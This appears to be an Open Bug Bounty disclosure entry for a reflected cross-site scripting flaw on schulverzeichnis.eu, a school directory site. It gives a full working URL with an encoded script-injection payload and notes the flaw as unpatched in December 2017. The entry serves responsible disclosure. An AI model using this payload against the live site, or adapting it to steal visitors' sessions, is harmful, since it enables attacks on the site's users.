schulverzeichnis.eu XSS vulnerability

Vulnerable URL: http://www.schulverzeichnis.eu/suche/?cx=partner-pub-2110117975278743%3A4098705936=FORID%3A10=UTF-8=a%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%2FOPENBUGBOUNTY%2F%29%3B%3C%2Fscript%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.12.2017...